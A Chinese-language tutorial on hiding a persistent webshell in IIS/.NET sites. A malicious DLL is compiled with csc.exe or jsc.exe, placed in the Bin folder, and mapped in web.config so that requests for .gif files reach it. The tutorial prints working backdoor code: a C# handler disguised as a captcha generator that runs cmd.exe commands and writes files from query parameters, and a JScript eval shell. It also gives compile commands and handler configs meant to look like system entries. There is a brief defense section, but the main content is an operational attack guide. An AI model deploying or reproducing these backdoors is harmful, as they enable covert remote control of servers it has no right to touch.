基于.NET的DLL处理映射实现后渗透权限维持技术详解

0x00 技术概述

本技术利用.NET框架的特殊目录(App_Code和Bin)以及HTTP处理程序映射功能，实现高度隐蔽的后渗透权限维持。通过将恶意代码编译为DLL并配置自定义映射，攻击者可以创建难以检测的Web后门，实现任意后缀名访问，绕过传统IDS/IPS检测。

0x01 核心原理

1. .NET特殊目录机制

• App_Code目录：自动编译目录中的源代码文件(.vb/.cs)，Web应用中其他代码可直接访问
• Bin目录：存放已编译程序集(.dll)，Web应用自动引用该目录下的程序集

2. HTTP处理程序映射

通过修改web.config配置，可将任意文件扩展名映射到自定义的HTTP处理程序，实现通过非传统后缀(如.gif)访问后门。

0x02 实现方法

方法一：App_Code目录隐藏

1. 在App_Code目录创建类文件并写入恶意代码
2. 在网站其他文件中实例化并调用该类方法
3. 优点：代码自动编译，无需手动部署DLL
4. 缺点：仍可能被文本扫描工具检测到

方法二：直接上传DLL

1. 本地创建恶意DLL(可加壳混淆)
2. 上传到Bin目录
3. 修改web.config添加handlers/httpHandlers映射
4. 优点：传统文本查杀无效
5. 缺点：需手动部署DLL

方法三：服务器端生成DLL

1. 利用已有WebShell上传恶意.cs文件
2. 使用服务器上的csc.exe编译为DLL
3. 修改web.config添加映射
4. 优点：无需本地环境，完全在目标服务器完成

0x03 详细实现步骤

1. 创建DLL后门

使用csc.exe编译

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe 
/t:library 
/out:C:\inetpub\wwwroot\bin\AdminWeb.dll 
C:\inetpub\wwwroot\AdminWeb.txt

参数说明：

• /t:library - 生成DLL
• /out - 输出路径(必须为Bin目录)
• 最后为源文件路径

使用jsc.exe编译JS后门

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe 
/t:library 
/out:C:\inetpub\wwwroot\bin\IsapiModu1e.Handler.dll 
C:\inetpub\wwwroot\IsapiModu1e.Handler.js

2. 配置HTTP处理程序映射

IIS6配置(web.config)

<httpHandlers>
  <add verb="*" path="*.gif" 
       type="IsapiModules.Handler, IsapiModules" 
       validate="false"/>
</httpHandlers>

IIS7集成模式配置

<handlers>
  <add name="PageHandlerFactory-ISAPI-2.0-32" 
       path="*.gif" 
       verb="*" 
       type="IsapiModules.Handler, IsapiModules" 
       preCondition="integratedMode"/>
</handlers>

配置属性说明：

• name - 处理程序名称(可伪装为系统名称)
• path - 映射的文件扩展名(如*.gif)
• verb - 支持的HTTP方法(*表示全部)
• type - 程序集命名空间.类名,程序集名
• preCondition - 运行模式(integratedMode/classic)

3. 恶意DLL实现示例

C#验证码+命令执行后门

public class Handler : IHttpHandler {
    public void ProcessRequest(HttpContext context) {
        // 生成验证码伪装
        if(string.IsNullOrEmpty(context.Request.QueryString["a"])) {
            GenerateCaptcha(context);
            return;
        }
        
        // 执行命令
        string cmd = context.Request.QueryString["c"];
        if(!string.IsNullOrEmpty(cmd)) {
            System.Diagnostics.Process proc = new System.Diagnostics.Process();
            proc.StartInfo.FileName = "cmd.exe";
            proc.StartInfo.Arguments = "/c " + cmd;
            proc.StartInfo.UseShellExecute = false;
            proc.StartInfo.RedirectStandardOutput = true;
            proc.Start();
            string output = proc.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        }
        
        // 创建文件
        string path = context.Request.QueryString["p"];
        if(!string.IsNullOrEmpty(path)) {
            string content = context.Request.QueryString["c"];
            System.IO.File.WriteAllText(context.Server.MapPath(path), content);
        }
    }
    
    private void GenerateCaptcha(HttpContext context) {
        // 生成验证码图片代码...
    }
}

JS版菜刀后门

import System;
import System.Web;

package IsapiModu1e {
    class Handler implements IHttpHandler {
        function ProcessRequest(context : HttpContext) {
            var Request = context.Request;
            var Response = context.Response;
            var eval = Request.Item["eval"];
            if(eval != null) {
                try {
                    Response.Write(eval(eval));
                } catch(e) {
                    Response.Write("ERROR:// " + e.message);
                }
                Response.End();
            }
        }
        
        function get_IsReusable() : Boolean {
            return true;
        }
    }
}

0x04 防御措施

1. 配置检查：

   • 定期检查web.config中的handlers/httpHandlers配置
   • 使用IIS管理器检查非法的映射关系

2. 文件监控：

   • 监控Bin目录下的DLL变更
   • 检查App_Code目录中的可疑代码

3. 安全加固：

   • 限制csc.exe和jsc.exe的执行权限
   • 启用文件完整性监控
   • 部署终端防护与流量检测联动方案

4. 日志审计：

   • 监控异常.gif/.jpg等文件扩展名的访问
   • 分析非常规文件扩展名的请求参数

0x05 技术优势

1. 高度隐蔽性：

   • 代码完全存储在DLL中，传统文本扫描无效
   • 通过图片扩展名访问，绕过流量特征检测

2. 持久性强：

   • 不依赖特定文件，即使删除WebShell仍可通过DLL维持访问
   • 配置在web.config中，重启后依然有效

3. 灵活性强：

   • 支持任意文件扩展名映射
   • 可结合验证码等正常功能伪装

0x06 参考资源

1. csc.exe命令行编译选项
2. jsc.exe编译器参考
3. HTTP处理程序配置

0x07 总结

本技术充分利用了.NET框架的特性，通过DLL和HTTP处理程序映射实现了高度隐蔽的后渗透权限维持方案。防御方需要从配置管理、文件监控、日志分析等多维度进行防护，才能有效检测和防范此类高级持久化威胁。